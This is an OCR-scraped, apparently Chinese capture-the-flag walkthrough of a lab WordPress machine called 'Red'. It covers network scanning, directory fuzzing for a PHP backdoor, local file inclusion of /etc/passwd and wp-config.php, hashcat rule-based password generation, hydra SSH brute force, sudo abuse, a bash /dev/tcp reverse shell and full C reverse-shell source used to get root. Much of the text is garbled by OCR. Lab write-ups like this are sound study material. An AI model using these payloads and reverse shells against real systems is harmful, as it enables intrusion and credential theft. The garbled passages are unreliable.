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EEOHLIP arp-scan -1 ethl -1, FRHE|HFRIPN192.168.56.113.

e =
arp- ethl
Interface: ethl, type: EN1OMB, MAC: @8:00:27:b8:a9:3d, IPv4: 192.168.56.111
Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.56.1 Pa:0@:27:00:00: Qe (Unknown: locally administered)
192.168.56.100 @8:0@:27:7b:95:ec PCS Systemtechnik GmbH
192.168.56.113 @8:00:27:89:06:41 PCS Systemtechnik GmbH

3 packets received by filter, @ packets dropped by kernel
Ending arp-scan 1.9.7: 256 hosts scanned in 1.941 seconds (131.89 hosts/sec). 3 responded

& Fnmap3 38 B A= T80T WREE5 1 nmap -sS -p- -n 192.168.56.113,nmap -sV -p22,80 -n 192.168.56.113

File Actions Edit View Help
root@kali: ~ » root@kali: ~ =
-..] ~

m =

ap 192.168.56.113
Starting Nmap 7.91 ( https://nmap.org ) at 2021-12-14 22:33 HKT
Nmap scan report for 192.168.56.113
Host is up (©.00013s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
MAC Address: @08:00:27:89:06:41 (Oracle VirtualBox wvirtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
0S CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
0S details: Linux &4.15 - 5.6
Network Distance: 1 hop

05 detection performed. Please report any incorrect results at https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned im 2.79 seconds

-
192.168.56.113
Starting Nmap 7.91 ( https://nmap.org ) at 2021-12-14 22:45 HKT
Nmap scan report for 192.168.56.113
Host is up (©.00018s latency).

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu®.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))

MAC Address: @8:00:27:89:06:41 (Oracle VirtualBox wvirtual NIC)

Service Info: 0S: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 6.91 seconds
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Your site has been Hacked! You'll never find the backdoor hahahah

Hello Blue!

Red was here, Blue is a loser!
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1. A WordPress Commenter on Hello Blue!

Hacked By Red
Proudlv powered bv WordPress.
[w ﬂ Elements Caonsole Sources Network Performance Memory  Application Security Lighthouse HackBar HackBar Cookie |

html lang="en-US
¥ <head>..</head
¥ <body class="home blog wp-embed-responsive is-light-theme hfeed
wv<div id="page" class="site
a class="skip-link screen-reader-text” href="#content"-5kip to content</a
P <header id="masthead” class="site-header has-title-and-tagline" recle="banner"=..=/header
=!-- ¥masthead --=
v=div id="content" class="site-content
wodiv id="primary" class="content-area
v=main id="main" class="site-main" role="main
wv<article id="post-1" class="post-1 post type-post status-publish format-standard hentry category-uncategorized entry
v <header class="entry-header
wv<=h2 class="entry-title default-max-width

a href="http://redrocks.win/2021/18/24/hello-world/"=Hello Blue!</a
/h2
fheader
<!-- .entry-header -->

wv<div class="entry-content
p=Red was here, Blue is a loser!=/p
fdiv
=!-.. .entry-content -->
v <=footer class="entry-footer default-max-width

html  body.home blog.wp-embed-responsive. is-light-theme.hfeed  div#page site  aside.widget-area  section#block-3.widget widget_block  div.wp-block-group  divwp-blo

W TV IE s, J&~wordpressili s, fEE A redrocks.win/2021/10/24/hello-world/ JEASI A EA 1T A IVERE, — 4R A
I P P 44, R A S I SRS DU N SRR To eIk e, F HE S FRER S IEARIRIER Looking For It, #i5HlE
LFI (Local File Inclusion)
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FF H.M 35 v _E A hacker NS £ You’ 11 never find the backdoor , UERHEH 513X, Wit gobusterfd

M https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/CommonBackdoors-
PHP.fuzz.txt SCHBEAT I T), S0l SO PRAFEIA ML, $04T gobuster dir -u http://redrocks.win -w CommonBackdoors-
PHP.fuzz.txt , MNXHHNTCHER, FTUAHBIEE R4

2021-12-19 13:11:25 (67.2 MB/s) - ‘CommonBackdoors-PHP.

gobuster dir ‘/redrocks .win Common door

Url: http redrocks.win
Method: GET
Threads: 18
WO1d11=t CommonBackdoors-PHP.fuzz.txt
es: L4
gobuster
l@s

2 gobuster 1 1 Ty ation mode

HE]—1 NetworkFileManagerPHP.php o (RF#&IEN500, BEENZAN B EFTUNZTE - M SEIE eI Ht4, did
burpsuﬁe{ikﬁ https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/burp-
parameter-names.txt MAFHEATERAL, B SCAERAZRIAM, {F ] Intrudetith S N7, & BIFSH)E RS2 ZHCN key «

Configure the pesitions where payloads will be inserted into the base request. The attack type determines the way in which payloads are assigned to payload positions - see help for full details.

Attacktype: | Sniper ~|
1 GET /fNetworkFileManagerPHP, php?§1238=/etc/passwd HTTRP/L.1 | Adds
2 Host: redrocks.win —
3 Pragma: no-cache | Clear§
4 Cache-Control: no-cache —————
S Upgrade-Insecure-Reguests: 1 [ Auto§
& User-Agent: Mozillas5.0 (X11: Linux xB6_564) AppleWebkit/S37 .36 (KHTML, like Geckol Chrome/96.0,4664,45 Safari/537.36 [“‘ﬁ;;;ﬂ“’
7 Accept: text/html,application/xhtml+xml,application/xml:q=0.9,image/avif,image/webp,1image/apng,*/¥;g=0.8,application/signed-exchange;v=b3;0=0.9
s

Accept -Encoding: gzip, deflate
Accept-Language: zh-CN,zh-TW;q=0.9,zh;g=0.8,en-GB;q=0.7,en;g=0.6,zh-HK;q=0.5,de;g=0.4,ka;q=0.3
10 Connection: close

w




3. Intruder attack of redrecks.win - Temporary attack - Not saved to project file

Attack Sawve Columns

Results Target Positions Payloads Resource Pool Cptions
Filter: Showing all items |®
Request Payload Status Error  Timeout Length Comment
26 key 200 2158
0 baseline request
1 id
2 action
3 page
4 name
5 password
6 url
7 email
8 type
9 username
10 file
11 title
12 code
13 n
1of 2588
Ja 1A

A LLE FIBR T rootsMEA PUASHI P, TR BB i wp-config.php ANy, FIF LA RS 224 FH php Dy ISt i35
HY php://filter/convert.base64-encode/resource=wp-config.php , iEHbase64% W, #% Ctrl+Shift+B % . AN A EE
JEE R 7 4 A1 255 john/R3v_m4lwh3r3_kinG!! , {H/&IFANREH SRE 35 & aissh
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Request Response
pretty [l vex BB 0 = Raw Hex Render B W =
1 GET /MNetworkFileManagerPHP.phptkey=setc/passwd HTTP/1.1 1 HTTP/1.1 200 OK
Host: redrocks.win 2 Date: Sun, 15 Dec 2021 06:38:21 GMT
Pragma: no-cache 3 Server: Apache/2.4.41 (Ubuntu)
4 Cache-Control: no-cache 4 Vary: Accept-Encoding
S Upgrade-Insecure-Requests: 1 S Content-Length: 1986
User-Agent: Mozilla/5.0 (¥11; Linux xB6_64) AppleWebKit/S37.36 (KHTML, like Gecko) Chrome/86.0.4664.45 £ Connection: close

Safari/fs37.36 7 Content-Type: text/html; charset=UTF-8
Accept: 8
text/html, application/xhtml+xnl, application/xml;g=0.9, inage/avif,inage/webp, inage/apng, */+:q=0,5, application
/signed-exchange; v=b3; g=0.
Accept-Encoding: gzip, deflate b1n sbin:jusr/sbin/nologin
Accept-Language: zh-CN.zh-TW;g=0.9,zh; .7.en;g=0.6,2h-HK;q=0.5,de; g=0.4,ka; 0=0.3 isys:/dev:/usr/sbin/nologin
Connection: close 3 syncix:4:65534:sync: fbin: /bin/sync

14 games:x:5:60:ganes: /usr/ganes: fusr/sbin/nologin
6:12:man:/var/cache/man: fusr/sbin/nol ogin
1p:x:7:7:1p: /var/spool /lpd: fusr/sbin/nologin

0 root:/root:/bin/bash
+daemen: /usr/sbin:/usr/sbin/nologin

var/spool/news: /usr/shin/nologin
ucp: /var/spoel fuucp: /usr/shin/nelogin

iMailing List Manager:/var/list:/usr/sbin/nologin
ircix:39:39:ircd: fvar/run/ired; fusr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/Lib/gnats:/usr/sbin/nologin
nobody: x: 65534: 65534 nobody : /nonexistent : /usr/shin/nologin
systend-network:x:100:102; systend Network Management,,,:/run/systemd: fusr/sbin/nologin
systend-resolve:x:101:103 systend Resolver,,,:/runssystend: /usr/sbin/nologin
systemd- tlmasyn(‘x‘IDQ 104:systend Time Synchronization,,,:/run/systend:/usr/shin/nologin
messagebus: 06:: /nonexistent : fusr/sbin/nologin
syslog:x:104: 110 shome/syslog: fusr/sbin/nologin
_apt :x:105:65534: ; /nonexistent: fusr/sbin/nologin
tssix:106:111: TPM software stack,,,:/var/lib/tpm: /bin/false
uuidd:x:167:112:: /runfuuidd: fusr/sbin/nologin
S tcpdump:x:108:113: 1 /nonexistent: fusr/sbin/nologin
landscape:x:109:115: : /var/lib/landscape: /usr/sbin/nologin
57 pollinate;x:110:1: : /var/cache/pollinate; /bin/false
58 usbmux:x:111:46:usbnux daemon, ,, :/var/lib/usbmux:/usr/sbin/mologin
55 sshd:x:112:65534: : /run/sshd: fusr/sbin/nologin
40 systemd-coredump:x:999:999: systend Core Dumper:/:/usr/sbin/nologin
a1 John x:1000:1000: j ohn: /home/john: /binsbash
42 1xd:x:998:100: : /var/snap/Lxd/common/1xd: /bin/false
3 mysql.x 113:117:MySQL Server,,,:/nonexistent:/bin/false
44 ippsec:x:1001:1001:. ., :/home/ippsec: /bin/bash
45 oxdf:x:1002:1002:, , . : /home/oxdf: /bin/bash

Burp Project Intruder Repeater Window  Help

Dashboard  Target  Frox Intruder ~ Repeater  Sequencer Decoder  Comparer Logger Extender  Projectoptions Useroptions  Leam
1
=N Target hitpifredrockswin 2 HTTPIL (D)
O==
Request Response [EESLn @ x
Prett Raw Hex Render a n Selection(4528) ~
1 GET /NetwerkFileManagerPHP php?key=php: //Filter/convert \base64-encade/resource=wp-config. pha HTTP/L,L S Seruer: Apaches2.4.al (Ubuntu] SELECTEDTEXT
2 tost: redrocks win 4 Vary: Accept-Encoding
@ Pragmai no-cache  Contant Length: 4529 PDSaHANC B gOKTCogVGHL TG g Y2502
T L ioCT A—
& User-Agent: Mozilla/S.0 (XI1; Linux x86_64) AppleWebKit/S37.36 (KHTML, like Gecks) Chrome/S6.0.4664.45 ::;i‘;g;ﬁ:‘a;gg‘;m:g;x:é::‘;’;g::;ffg:’;
Safari/s37.36 5 PDSWaHANC BaKgOKICogVehl 163he2UgY2SuZnl ndXJhdGl vbi b1 00 gKgOKT CagVoh Tridl N e vt eyt i
7 Accep ViRpb2eg yBaana11GRlen ] uZyB0acL sbGFDENQuLguKICquQlIGRvm do1 T | | | CUU2yBOnCUgaHSzdGrSbcrOMaUL gOKT Coght
text/htwl, application/xhtml+xnl,application/xnl;q=0.9, inage/avif, image/webp, inage/apng, +/¥:q=0.8,application BSZWIgc2l0; TR Y29 CINCLAGIGR, TGl uIHRoZSB2YWx1ZKMy Tq¢3.025wqenS1 1CNRbA B} BIBSTHROXMGZAL
/signed-exchange; v=b3;4=0.9 DQog} e R AT 52580by A1d3AtY25uZnl nLnBocCINC AqTGFu
& Accept-Encoding: gzip, deflate cve] [E—— NCLAGTERS aNSr1GhGdHEz
9 Accept-Language: zh-CN,zh-TW:q=0.9,2h:q=0.8,en-GB:q=0.7,en: q=0. &, zh-HK: 4=0.5, deq=0. 4,ka; q=0. 3 oigy /YWNFYWd IFdvenRacnVz
10 Connection: close cvol G s0gici ooty oNCA B seemore v
11 SCT Close bisb 23k cHI1 c3vn1Ck7000N
12 Cigq| wK1ogTXL TUUwgZGFOYWIh
czug foici sakiBNeVNRTCBob3NO =
bnFt " I /OTHRYTHV2 ZSBpb 1 ] cnvh RECSDEDERGRGY Soset ©e
doly) " MySQL settings - You can get this info from your web host 1 oLz GUgRGFOYWah< 2Ug Q295
=3 /¥ The nane of the database for HordPress +/ e <tphp \7 0
o define( 'DB_NAME', 'wordpress’ ); <y SsawancrencarLznt /:xT\; \1 . T
ZSgn} 4 Jkk MySOL datab . JiadspcxVl LGt 1< XMgYWSk B LRES GRECRpTEa T LR
IHN JutiMysal- databose usernane 1/ oz2vuzxah daugdohl c2ug ==
o Pranel IORUSSE e ) i e e WD e D arrien D
e /4% MySQL database password 4/ L uses this file during the installatio
o define( 'DB_PASSWORD', 'RS3v_ndlwh3r3_kinG!i' )| E]e;ivd]EgX]v:NvistJZ n.Ar
Jusgy Jt FWSCcSICANYWhIPEL gNTJH
Tozgf fex MySQL hostnane 1 cdimodRoRTsUSFsovz Seemore v
vt define( 'DB_HOST', 'localhost’ ); e
b /*+ Database Charset to use in creating database tables, 4/ B
= define( 'DB_CHARSET', 'utfs 2 xc 200k 63v0dXENS; 72 DECODEDFROM:  URL encading v oe
- /#% The Datsbase Collate typs, Don't change this if in doubt. 4/ ety ol <tphpiviAn
1cag define( '08_COLLATE s 4L xiczcepOwOKDOOVKI 05 o L) . . .
= B ot b e il + The base configuration for WordPre
o define('FS_METHOD', 'direct*); B esesnvdny st o ssur
o *Ar\n
ZXROJ B o . 0 f5oKgOKICogRnSy IGRLdmVs.
pesi- 1 define( WP SITEURL', ‘http://redrocks.vin'); VWIS ZEB0aGUaZC] 2 Gxh #+ The wp-config.php creation script
= 2 define('WPLHOME', 'http://redrocks win'); Bt et or oo N T SIS (Mo (i AEEEes
e I L goconci AnTEzvciBp e
bnzy| als A@M ticat . . b gant zaxqgdont 6RevavE
20K 4| x Ehentication umique keys and saits. P122dpbnct a4t d 23y ZHBy Seemore v
i cyBLZRSZNVUTHRORXIHg
bGL FRIEY Jvka XRpbme h IERhe HBSTHBL
le: el Omatches e TG 201 2o
beets BTZXRIHWIFAVERROCIYZ | pequest tributes -
nBocCe7D05=
—— —r— Query Parameters (1) ~
[OIGIGRIE omatches ()0} [¢](>] [ = Omatches
Dene 4721 bytes | 3millis

i 152 H Network File Manager PHP.php SC 4 &k I LA — #iE R L 115 & That password alone won't help you! Hashcat

says rules are rules .



Request Response

vee B 0 = Raw Hex Render B W =

GET /MetworkFileManagerPHP php?key=php://filter/convert .base64-encode/resource=NetworkFileManagerPHP. php HTTP/1.1 200 OK

HTTP/1.1 Date: Sun, 19 Dec 2021 06:48:15 GMT
Host: redrocks.win Server: Apache/2.4.41 (Ubuntu)

Pragma: no-cache Vary: Accept-Encoding

Cache-Control: no-cache Content-Length: 337
Upgrade-Insecure-Requests: 1 Connection: close

User-Agent: Mozilla/5.0 (X11: Linux xB6_64) AppleWebKit/S537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Content-Type: text/html: charset=UTF-8
Safari/s37.36

Accept:
text/html,application/xhtml+xml,application/xnl;gq=0.9, inage/avif, inage/webp, inagelan
/signed-exchange;v=b3;q=0.9

& Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh-TW;q=0.9,zh;q=0.8,en-GB;q=0.7,en;q=0.6, zh-HK; q=0.5, de;
10 Connection: close [

Pretty

-

wn

1
4
6

EXLES
~

w o

PD9waHAKICAQJGZph GUgPSAk XOdFYFsna2V5J107C1 AgIGLmKGL zc 2VOKCRm
[cdaoThor oo oao o] o oo

aWx1KSkKICAgewoaICAgICAgaWs:
T Pl T 4

o

Copyteclipboard Close
1 _ Copytodipboard | [ dlose
1z 1 <?php
2 $file = §_GET[ 'key']:
3 ifiisset(§file])
4 1
5 include("$file"):
6 b
7 else
9 include( "NetworkFileManagerPHP. php" ] ;
10
11 /% VGhhdCBwYXNzd29yZCBhbGOUZSE3b24ndCBoZWxwIHL vdSEQSGFzaGNhdCBzY Xl zIHI1bGVz IGFy ZSBy dWx L cw== */
12 7>
13
14
4 Converted text X
| Copytoclipboard | | Close |

1 [that password alone won't help you! Hashcat says rules are rules

@@ (<>

0matches

@&«

3 bHVI
gfQo

Fa XF B

&

EI=iB =il R =i v ' FR3 (D =il Hia v

That password alone won't help you! Hashcat says %  {UEIRNBN RGB! Hashcat gl MFAEM
rules are rules )

Jin ping nagé mima dul nin méiydu bangzhi! Hashcat shud guizé jiushi guizé

L D] 64 /5,000 o) 0 c’q <

XL

hashfif &

hashcatf AR Z, A% T15 52 Hbase64 i it 1), #Fbset64 RNt 17 hashtillf# hashcat --force pass -r
/usr/share/hashcat/rules/best64.rule --stdout > pswd

fusr/share/hashcat/rules

best64.rule cisi o : rule . ( rule F.rule
combinator.rule

.rule rule Texlcvl.rule
togglesl.rule




A FH figt B 1 % 50 38 i hydraift /Tsshi& % hydra -1 john -P pswd ssh://192.168.56.113 , f4H%4%°4 R3v_m4lwh3r3_kinG!!o ,
1 sshifE 2.

or for illegal purposes (

ydra ( ranhauser-thc/thc
[WARNING] Ma C jurations limit t
[DATA] max 16 g €
[DATA] attacki
[22][ssh] host
1 of 1 target
[WARNING] iting rest file because 7 final r threads did not complete until
[ERROR] 7 t t or could not b
omp
ithub.com/aanhauser—thc/thc—hvdraj finished at 2021-12-19 15:47:11

list of known hosts

SR AERF

fHH sudo -1 &F MATH AT HATINM 4, Atime, AT sudo -u ippsec /usr/bin/time /bin/bash P)#tZlippsecH .

$ sudo -1

hacker2x AW 25 IRATRIEG B0, — BT R iE 2K 34 18 BB & 15

HRBA I shellflkali. JofEkaliihiT nc -1vvp 8848 il [, SAJE/E HARHLAY EPUT bash -i >&
/dev/tcp/192.168.56.109/8848 0>&1 . X NINJEHAT python3 -c 'import pty;pty.spawn("/bin/bash")' , IXFEEN{Esshik
B AW .



2 ~
C 8848

ippsecired:~$ python -c 'impo
python -c 'import pty;pty.
Command 'python' not

command 'python3

command 'python' from deb pytho

/bin/bash® )"’

Silly Blue
r T will
df

AUBR 4 H

W3k H 5% T wordpress H ¢ WA A~ .gitH 3¢, BLEIA AN XA, revfilsupersecretfileuc.c, revitsupersecretfileuc.cm 3 1527,
PATSHHE R, Wtredi AR B BEILE S, FrevilllFR 5 i BiS I < B Hi w3, I H/Eroothlfi .

ippsecdred:

[
=3 =]
™ ™
00 o

root
ippsec
W data
WA
A
WA
A
WA
A
WA
A
A
WA
WA
A
LW : :
W I 6 wp-1 s—opml.php
W i ay ] W .php
U ! E b W n.php
| @ L.php
wp-settings.php
wp-signup.php
wp-t back.php
xml .php

=2

b
 n

[ R e
- mo
5 m

0

L Y

1
25
T
1
1
1
1
1
1
1

MHsIX AN A, Hrevshells.comP ki A2 i C I shellf2 7, it http iR 4544 30 4% 21 H #5185 5 A supersecreffileuc.c



#tinclude <stdio.h>

#include <sys/socket.h>
#include <sys/types.h>
<stdlib.h>

<unistd.h>

#include
#include
#include <netinet/in.h>
#include <arpa/inet.h>
int main(void

9001

struct sockaddr_in revsockaddr

int port =

int sockt =
revsockaddr.sin_family = AF_INET
revsockaddr.sin_port = htons(port

revsockaddr.sin_addr.s_addr =

struct sockaddr *
sizeof(revsockaddr

dup2(sockt, @

dup2(sockt, 1

dup2(sockt, 2

connect(sockt

char * const argv = {"sh", NULL
execve("sh", argv, NULL
return ©

H-frkalithi r9001 i [,

c 0
pps M GitHub B

IP & Port

1l 192.168.56.100

Reverse
0s All

ncexe -e
nc-c

ncat -e
ncat.exe -e
ncat udp
rustcat

c

C Windows

FRWE m TR B Z2£%¥5 W #Hh< W RRERE @ Book

socket (AF_INET, SOCK_STREAM, ©

inet_addr("192.168.56.109"

&revsockaddr

LB A 2 H B4R AT . fEroot H 5 T 4 root S

» YouTube @ AppleMusic 3 LeetCode

Reverse Shell Generator

Listener

Port 9001 [EaK

MSFVenom

# #include <stdio.h>
#include <sys/socket.h>
#include <sys/type
#include dlib.
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>

int main(void){
int port =

struct sockaddr_in revsockaddr;

int sockt = socket(AF_INET, SOCK_STREAM, 0);

BEib o BN -ERIEE.

& > %
2 Glgoo¥RERE @ proxy_ip

@ show Advanced

- @ T o
I 51CTO

[5ME P Py 2 A7 SR Vsl v 6 A 917 1 AL A, 2 UK P v DR A7 T R B A% (img-D1SUJi8s-1639916470589)
(https:/img.freeaes.com/images/2021/12/19/19.png)]
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Reading list




listening on :
connect to [192.168.56.] cks.win [192.1

/root/root.tx
GG Blue, GG
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